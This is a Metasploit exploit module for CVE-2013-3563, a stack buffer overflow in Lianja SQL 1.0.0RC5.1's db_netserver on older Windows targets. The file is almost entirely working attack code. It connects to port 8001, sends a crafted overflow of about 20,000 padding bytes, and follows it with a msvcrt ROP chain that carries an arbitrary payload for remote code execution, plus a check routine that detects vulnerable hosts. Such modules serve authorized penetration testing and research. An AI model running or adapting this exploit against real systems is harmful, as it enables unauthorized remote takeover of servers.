##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the db_netserver process, which
        is spawned by the Lianja SQL server.  The issue is fixed in Lianja SQL 1.0.0RC5.2.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2013-3563' ],
        [ 'OSVDB', '93759' ]
      ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 20
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
          'Space'           => 500,
          'BadChars'        => "\x01"
        },
      'Targets'        =>
        [
          [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
          [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => '2013-05-22',
      'Notes'          =>
        {
          'Stability'  => [ CRASH_SERVICE_RESTARTS ],
        },
    ))

    register_options(
      [
        Opt::RPORT(8001),
      ])
  end

  def check
    begin
      connect
    rescue
      vprint_error("Unable to connect")
      return Exploit::CheckCode::Unknown
    end
    sock.put("db_net")
    if sock.recv(4) =~ /\d{1,5}/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    sock.put("db_net")
    sock.recv(4)

    print_status("#{rhost}:#{rport} - Sending Malicious Data")
    evil_data =  '000052E1'
    evil_data << 'A'
    evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
    evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
    sock.put(evil_data)
    disconnect
  end
end
